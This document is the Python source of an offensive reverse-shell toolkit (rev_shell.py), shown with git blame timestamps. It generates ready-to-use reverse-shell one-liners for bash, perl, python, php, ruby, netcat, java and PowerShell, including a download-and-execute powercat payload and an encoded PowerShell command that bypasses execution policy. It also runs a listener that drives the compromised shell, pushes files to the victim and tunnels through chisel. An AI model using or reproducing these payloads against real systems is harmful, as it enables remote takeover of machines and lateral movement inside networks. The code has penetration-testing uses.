HackingScripts/rev_shell.py

572 lines
21 KiB
Python
Raw Normal View History

2020-01-28 22:15:42 +01:00
#!/usr/bin/python
import socket
import os
import re
2020-01-28 22:15:42 +01:00
import sys
2020-08-28 23:04:41 +02:00
import pty
import util
2023-10-05 13:00:16 +02:00
import upload_file
2021-06-11 12:44:35 +02:00
import time
2022-01-14 16:40:17 +01:00
import random
2021-06-11 12:44:35 +02:00
import threading
import paramiko
import base64
import select
2023-12-10 00:13:07 +01:00
import argparse
import signal
try:
import SocketServer
except ImportError:
import socketserver as SocketServer
2020-01-28 22:15:42 +01:00
2021-10-27 13:08:14 +02:00
class ShellListener:
def __init__(self, addr, port):
self.listen_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.bind_addr = addr
self.port = port
2022-01-17 13:06:45 +01:00
self.verbose = False
self.on_message = []
2021-10-27 13:08:14 +02:00
self.listen_thread = None
self.connection = None
2022-01-17 13:06:45 +01:00
self.on_connect = None
self.features = set()
2023-10-05 15:43:20 +02:00
self.shell_ready = False
2023-10-05 13:00:16 +02:00
self.os = None # we need a way to find the OS here
self.raw_output = b""
2021-10-27 13:08:14 +02:00
def startBackground(self):
self.listen_thread = threading.Thread(target=self.start)
self.listen_thread.start()
return self.listen_thread
def has_feature(self, feature):
return feature.lower() in self.features
def probe_features(self):
2023-10-05 13:00:16 +02:00
if self.os == "unix":
features = ["wget", "curl", "nc", "sudo", "telnet", "docker", "python"]
for feature in features:
output = self.exec_sync("whereis " + feature)
if output.startswith(feature.encode() + b": ") and len(output) >= len(feature)+2:
self.features.add(feature.lower())
else:
print("[-] Can't probe features for os:", self.os)
def get_features(self):
return self.features
2021-10-27 13:08:14 +02:00
def start(self):
self.running = True
2022-01-17 13:06:45 +01:00
self.listen_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
2021-10-27 13:08:14 +02:00
self.listen_socket.bind((self.bind_addr, self.port))
self.listen_socket.listen()
while self.running:
self.connection, addr = self.listen_socket.accept()
with self.connection:
print("[+] Got connection:", addr)
2022-01-17 13:06:45 +01:00
if self.on_connect:
self.on_connect(addr)
2023-10-05 13:00:16 +02:00
2023-10-05 15:43:20 +02:00
self.shell_ready = False
2021-10-27 13:08:14 +02:00
while self.running:
data = self.connection.recv(1024)
if not data:
break
2023-10-05 13:00:16 +02:00
2023-10-05 15:43:20 +02:00
if self.os is None and not self.shell_ready:
if b"Windows PowerShell" in data or b"Microsoft Windows" in data:
2023-10-05 13:00:16 +02:00
self.os = "win"
elif b"bash" in data or b"sh" in data:
self.os = "unix"
if self.os and self.verbose:
print("OS PROBED:", self.os)
2022-01-17 13:06:45 +01:00
if self.verbose:
print("< ", data)
2023-10-05 13:00:16 +02:00
2023-10-05 15:43:20 +02:00
if self.shell_ready: # TODO: check this...
2023-10-05 13:00:16 +02:00
for callback in self.on_message:
callback(data)
elif self.is_prompt(data):
2023-10-05 15:43:20 +02:00
self.shell_ready = True
2023-10-05 13:00:16 +02:00
if self.verbose:
print("RECV first prompt")
else:
self.raw_output += data
2023-10-05 13:00:16 +02:00
2021-10-27 13:08:14 +02:00
print("[-] Disconnected")
self.connection = None
self.running = False
2021-10-27 13:08:14 +02:00
def close(self):
self.running = False
self.sendline("exit")
self.listen_socket.close()
2023-10-05 15:43:20 +02:00
if self.listen_thread != threading.currentThread():
self.listen_thread.join()
2021-10-27 13:08:14 +02:00
def send(self, data):
if self.connection:
if isinstance(data, str):
data = data.encode()
2022-01-17 13:06:45 +01:00
if self.verbose:
print("> ", data)
2021-10-27 13:08:14 +02:00
self.connection.sendall(data)
def sendline(self, data):
if isinstance(data, str):
data = data.encode()
data += b"\n"
return self.send(data)
2023-10-05 13:00:16 +02:00
def is_prompt(self, data):
if self.os == "unix":
if data.endswith(b"# ") or data.endswith(b"$ "):
return True
elif self.os == "win":
2023-10-31 12:16:39 +01:00
if data.endswith(b"> ") or data.endswith(b">") or data.endswith(b"$ "):
2023-10-05 13:00:16 +02:00
return True
return False
def exec_sync(self, cmd):
2023-10-05 13:00:16 +02:00
if self.os is None:
print("[-] OS not probed yet, waiting...")
while self.os is None:
time.sleep(0.1)
2023-10-05 15:43:20 +02:00
if not self.shell_ready:
print("[-] Shell not ready yet, waiting...")
while not self.shell_ready:
time.sleep(0.1)
2023-10-05 13:00:16 +02:00
output = b""
complete = False
if isinstance(cmd, str):
cmd = cmd.encode()
def callback(data):
nonlocal output
nonlocal complete
if complete:
return
output += data
2023-10-05 13:00:16 +02:00
if self.is_prompt(output):
complete = True
2023-10-05 13:00:16 +02:00
if self.os == "unix":
line_ending = b"\n"
elif self.os == "win":
line_ending = b"\r\n"
if line_ending in output:
output = output[0:output.rindex(line_ending)]
if output.startswith(cmd + line_ending):
output = output[len(cmd)+len(line_ending):]
self.on_message.append(callback)
self.sendline(cmd)
while not complete:
time.sleep(0.1)
self.on_message.remove(callback)
return output
2021-10-27 13:08:14 +02:00
def print_message(self, data):
2023-11-26 14:10:54 +01:00
try:
data = data.decode()
except:
data = str(data) # workaround so the shell doesn't die
sys.stdout.write(data)
2021-10-27 13:08:14 +02:00
sys.stdout.flush()
def interactive(self):
2023-11-26 19:49:43 +01:00
print("[ ] Switching to interactive mode")
self.on_message.append(lambda x: self.print_message(x))
2021-10-27 13:08:14 +02:00
while self.running and self.connection is not None:
self.sendline(input())
2022-01-17 13:06:45 +01:00
def wait(self):
while self.running and self.connection is None:
time.sleep(0.1)
return self.running
2023-10-05 13:00:16 +02:00
def get_cwd(self):
if self.os == "unix":
return self.exec_sync("pwd").decode()
elif self.os == "win":
return self.exec_sync("pwd | foreach {$_.Path}").decode()
else:
print("[-] get_cwd not implemented for os:", self.os)
return None
def write_file(self, path, data_or_fd, permissions=None, method=None, sync=False, **kwargs):
if method == None:
if self.os == "win":
method = "powershell"
elif self.os == "unix":
method = "echo"
else:
print("[-] No method specified, assuming 'echo'")
method = echo
2023-10-31 12:16:39 +01:00
print(f"[ ] Writing file '{path}' using method: {method}")
2023-10-05 13:00:16 +02:00
send_func = self.sendline if not sync else self.exec_sync
def write_chunk(chunk, first=False):
chunk = base64.b64encode(chunk).decode()
2023-10-05 13:00:16 +02:00
if method == "powershell":
send_func(f"$decodedBytes = [System.Convert]::FromBase64String('{chunk}')")
send_func(f"$stream.Write($decodedBytes, 0, $decodedBytes.Length)")
else:
operator = ">" if first else ">>"
send_func(f"echo {chunk}|base64 -d {operator} {path}")
if method == "echo" or method == "powershell":
if method == "powershell":
path = path.replace("'","\\'")
send_func(f"$stream = [System.IO.File]::Open('{path}', [System.IO.FileMode]::Create)")
chunk_size = 1024
if hasattr(data_or_fd, "read"):
first = True
while True:
data = data_or_fd.read(chunk_size)
if not data:
break
if isinstance(data, str):
data = data.encode()
write_chunk(data, first)
first = False
data_or_fd.close()
else:
if isinstance(data_or_fd, str):
data_or_fd = data_or_fd.encode()
for offset in range(0, len(data_or_fd), chunk_size):
2023-10-31 12:16:39 +01:00
write_chunk(data_or_fd[offset:offset+chunk_size], offset == 0)
2023-10-05 13:00:16 +02:00
if method == "powershell":
send_func(f"$stream.Close()")
elif method == "nc" or method == "netcat":
ip_addr = util.get_address()
bin_path = "nc" if not "bin_path" in kwargs else kwargs["bin_path"]
port = None if "listen_port" not in kwargs else int(kwargs["listen_port"])
sock = util.open_server(ip_addr, port, retry=False)
if not sock:
return False
def serve_file():
upload_file.serve_file(sock, data_or_fd, forever=False)
port = sock.getsockname()[1]
upload_thread = threading.Thread(target=serve_file)
upload_thread.start()
send_func(f"{bin_path} {ip_addr} {port} > {path}")
upload_thread.join()
else:
2023-10-05 13:00:16 +02:00
print("[-] Unknown write-file method:", method)
return False
2023-10-05 13:00:16 +02:00
if permissions and self.os == "unix":
send_func(f"chmod {permissions} {path}")
2023-10-31 12:16:39 +01:00
print("[+] Done!")
class ParamikoTunnelServer(SocketServer.ThreadingTCPServer):
daemon_threads = True
allow_reuse_address = True
class ParamikoTunnel:
def __init__(self, shell, ports):
self.shell = shell
self.ports = ports
self.verbose = False
self.is_running = True
self.on_message = []
self.listen_threads = []
self.servers = []
def start_background(self):
for port in self.ports:
thread = threading.Thread(target=self.start, args=(port, ))
thread.start()
self.listen_threads.append(thread)
return self.listen_threads
def start(self, port):
this = self
class SubHandler(ParamikoTunnelHandler):
peer = this.shell.get_transport().sock.getpeername()
chain_host = "127.0.0.1"
chain_port = port
ssh_transport = this.shell.get_transport()
def log(self, message):
if this.verbose:
print(message)
forward_server = ParamikoTunnelServer(("127.0.0.1", port), SubHandler)
self.servers.append(forward_server)
forward_server.serve_forever()
def close(self):
self.is_running = False
for server in self.servers:
server._BaseServer__shutdown_request = True
for thread in self.listen_threads:
thread.join()
class ParamikoTunnelHandler(SocketServer.BaseRequestHandler):
def handle(self):
try:
chan = self.ssh_transport.open_channel(
"direct-tcpip",
(self.chain_host, self.chain_port),
self.request.getpeername(),
)
except Exception as e:
self.log(
"Incoming request to %s:%d failed: %s"
% (self.chain_host, self.chain_port, repr(e))
)
return
if chan is None:
self.log(
"Incoming request to %s:%d was rejected by the SSH server."
% (self.chain_host, self.chain_port)
)
return
self.log(
"Connected! Tunnel open %r -> %r -> %r"
% (
self.request.getpeername(),
chan.getpeername(),
(self.chain_host, self.chain_port),
)
)
while True:
r, w, x = select.select([self.request, chan], [], [])
if self.request in r:
data = self.request.recv(1024)
if len(data) == 0:
break
chan.send(data)
if chan in r:
data = chan.recv(1024)
if len(data) == 0:
break
self.request.send(data)
peername = self.request.getpeername()
chan.close()
self.request.close()
self.log("Tunnel closed from %r" % (peername,))
def generate_payload(payload_type, local_address, port, index=None, **kwargs):
2021-12-08 17:50:48 +01:00
commands = []
shell = kwargs.get("shell", "/bin/bash")
2023-12-13 01:33:42 +01:00
if payload_type in ["sh", "bash"]:
protocol = kwargs.get("protocol", "tcp")
assert protocol in ["tcp", "udp"]
payload = f"{payload_type} -i >& /dev/{protocol}/{local_address}/{port} 0>&1"
elif payload_type == "perl":
2023-12-13 01:33:42 +01:00
method = kwargs.get("method", "exec")
if method == "exec":
payload = f"perl -e 'use Socket;$i=\"{local_address}\";$p={port};socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in($p,inet_aton($i)))){{open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"/{shell} -i\");}};'"
else:
payload = f"perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,\"{local_address}:{port}\");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'"
elif re.match(r"python((2|3)(\.[0-9]+)?)?", payload_type):
payload = f"{payload_type} -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"{local_address}\",{port}));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/{shell}\",\"-i\"]);'"
elif payload_type == "php":
payload = f"php -r '$sock=fsockopen(\"{local_address}\",{port});exec(\"/{shell} -i <&3 >&3 2>&3\");'"
elif payload_type == "ruby":
payload = f"ruby -rsocket -e'f=TCPSocket.open(\"{local_address}\",{port}).to_i;exec sprintf(\"{shell} -i <&%d >&%d 2>&%d\",f,f,f)'"
elif payload_type in ["netcat", "nc", "ncat"]:
method = kwargs.get("method", "fifo")
if method == "fifo":
2023-12-10 00:13:07 +01:00
fifo_name = kwargs.get("fifo_name", "f")
payload = f"rm /tmp/{fifo_name};mkfifo /tmp/{fifo_name};cat /tmp/{fifo_name}|{shell} -i 2>&1|{payload_type} {local_address} {port} >/tmp/{fifo_name}"
else:
payload = f"{payload_type} {local_address} {port} -e {shell}"
elif payload_type == "java":
payload = f"r = Runtime.getRuntime()\np = r.exec([\"{shell}\",\"-c\",\"exec 5<>/dev/tcp/{local_address}/{port};cat <&5 | while read line; do \\$line 2>&5 >&5; done\"] as String[])\np.waitFor()"
elif payload_type == "xterm":
payload = f"xterm -display {local_address}:1"
elif payload_type == "powercat":
shell = kwargs.get("shell", "cmd")
2023-11-26 14:10:54 +01:00
http_port = kwargs.get("http_port", 80)
return f"powershell.exe -c \"IEX(New-Object System.Net.WebClient).DownloadString('http://{local_address}:{http_port}/powercat.ps1');powercat -c {local_address} -p {port} -e {shell}\""
elif payload_type == "powershell":
payload = '$a=New-Object System.Net.Sockets.TCPClient("%s",%d);$d=$a.GetStream();[byte[]]$k=0..65535|%%{0};while(($i=$d.Read($k,0,$k.Length)) -ne 0){;$o=(New-Object -TypeName System.Text.ASCIIEncoding).GetString($k,0,$i);$q=(iex $o 2>&1|Out-String);$c=$q+"$ ";$b=([text.encoding]::ASCII).GetBytes($c);$d.Write($b,0,$b.Length);$d.Flush()};$a.Close();' % (local_address, port)
2023-11-26 14:10:54 +01:00
if kwargs.get("method", "process") == "process":
payload_encoded = base64.b64encode(payload.encode("UTF-16LE")).decode()
execution_policy = kwargs.get("execution_policy", "bypass")
flags = ["-EncodedCommand", payload_encoded]
if execution_policy is not None:
flags.append("-ExecutionPolicy")
flags.append(execution_policy)
flags = " ".join(flags)
payload = f"powershell.exe {flags}"
2021-12-08 17:50:48 +01:00
else:
payload = None
print("[-] Unknown payload type:", payload_type)
2021-12-08 17:50:48 +01:00
return payload
2020-01-28 22:15:42 +01:00
2021-10-25 17:25:49 +02:00
def spawn_listener(port):
signal.signal(signal.SIGINT, on_ctrl_c)
orig_stdin = os.dup(0)
pid, fd = pty.fork()
if pid == 0:
os.dup2(orig_stdin, 0)
x = os.execvp("nc", ["nc", "-lvvp", str(port)])
else:
try:
while True:
data = os.read(fd, 1024)
if not data:
break
sys.stdout.buffer.write(data)
sys.stdout.flush()
except OSError as e:
print("[!] OSError:", str(e))
2021-10-25 17:25:49 +02:00
2023-10-05 15:43:20 +02:00
def wait_for_connection(listener, timeout=None, prompt=True):
start = time.time()
if prompt:
prompt = prompt if type(prompt) == str else "[ ] Waiting for shell"
if timeout is not None:
timer_len = sys.stdout.write("\r%s: %ds\r" % (prompt, timeout))
sys.stdout.flush()
else:
print(prompt)
while listener.connection is None and listener.running:
2023-10-01 11:23:05 +02:00
time.sleep(0.5)
2023-10-05 15:43:20 +02:00
if timeout is not None:
diff = time.time() - start
if diff < timeout:
sys.stdout.write(util.pad(f"\r%s: %ds" % (prompt, timeout - diff), timer_len, " ") + "\r")
sys.stdout.flush()
else:
print(util.pad("\r[-] Shell timeout :(", timer_len, " ") + "\r")
return None
return listener
def spawn_background_shell(port, timeout=None, prompt=True):
listener = ShellListener("0.0.0.0", port)
listener.startBackground()
wait_for_connection(listener, timeout, prompt)
2023-10-01 11:23:05 +02:00
return listener
def trigger_shell(func, port):
2021-06-11 12:44:35 +02:00
def _wait_and_exec():
time.sleep(1.5)
func()
threading.Thread(target=_wait_and_exec).start()
2021-10-25 17:25:49 +02:00
spawn_listener(port)
2023-10-05 15:43:20 +02:00
def trigger_background_shell(func, port, timeout=None, prompt=True):
2021-10-27 13:08:14 +02:00
listener = ShellListener("0.0.0.0", port)
listener.startBackground()
threading.Thread(target=func).start()
2023-10-05 15:43:20 +02:00
wait_for_connection(listener, timeout, prompt)
2021-10-27 13:08:14 +02:00
return listener
def create_tunnel(shell, ports: list):
if len(ports) == 0:
print("[-] Need at least one port to tunnel")
return
# TODO: ports
if isinstance(shell, ShellListener):
# TODO: if chisel has not been transmitted yet
# we need a exec sync function, but this requires guessing when the output ended or we need to know the shell prompt
ipAddress = util.get_address()
chiselPort = 3000
chisel_path = os.path.join(os.path.dirname(__file__), "chisel64")
shell.write_file("/tmp/chisel64", open(chisel_path, "rb"))
shell.sendline("chmod +x /tmp/chisel64")
t = threading.Thread(target=os.system, args=(f"{chisel_path} server --port {chisel_port} --reverse", ))
t.start()
shell.sendline(f"/tmp/chisel64 client --max-retry-count 1 {ipAddress}:{chiselPort} {ports} 2>&1 >/dev/null &")
return t
elif isinstance(shell, paramiko.SSHClient):
paramiko_tunnel = ParamikoTunnel(shell, ports)
paramiko_tunnel.start_background()
return paramiko_tunnel
def on_ctrl_c(*args):
global ctrl_c_pressed
now = time.time()
last_pressed = globals().get("ctrl_c_pressed", None)
if not last_pressed or (now - last_pressed) > 1.5:
print("[!] CTRL-C pressed. Press again if you really want to interrupt")
else:
sys.exit(0)
ctrl_c_pressed = now
2020-01-28 22:15:42 +01:00
if __name__ == "__main__":
2023-12-10 00:13:07 +01:00
parser = argparse.ArgumentParser(description="Reverse shell generator")
parser.add_argument(dest="type", type=str, default=None, help="Payload type")
parser.add_argument("--port", type=int, required=False, default=None, help="Listening port")
parser.add_argument("--addr", type=str, required=False, default=util.get_address(), help="Listening address")
args, extra = parser.parse_known_args()
listen_port = args.port
payload_type = args.type.lower()
local_address = args.addr
extra_args = {}
for entry in extra:
match = re.match(r"(\w+)=(\w+)", entry)
if not match:
print("Invalid extra argument:", entry)
exit()
key, value = match.groups()
extra_args[key] = value
2020-06-02 14:15:03 +02:00
# choose random port
if listen_port is None:
2022-01-14 16:40:17 +01:00
listen_port = random.randint(10000,65535)
2023-10-05 13:00:16 +02:00
while util.is_port_in_use(listen_port):
2022-01-14 16:40:17 +01:00
listen_port = random.randint(10000,65535)
2020-06-02 14:15:03 +02:00
2023-12-10 00:13:07 +01:00
payload = generate_payload(payload_type, local_address, listen_port, **extra_args)
2020-01-28 22:15:42 +01:00
if payload is None:
print("Unknown payload type: %s" % payload_type)
2023-12-13 01:33:42 +01:00
print("Supported types: sh, bash, perl, python[2|3], php, ruby, netcat|nc, java, xterm, powershell")
2020-01-28 22:15:42 +01:00
exit(1)
2020-02-06 23:27:29 +01:00
tty = "python -c 'import pty; pty.spawn(\"/bin/bash\")'"
print("---PAYLOAD---\n%s\n---TTY---\n%s\n---------\n" % (payload, tty))
2020-01-28 22:15:42 +01:00
if payload_type == "xterm":
print("You need to run the following commands (not tested):")
print("xhost +targetip")
print("Xnest :1")
else:
spawn_listener(listen_port)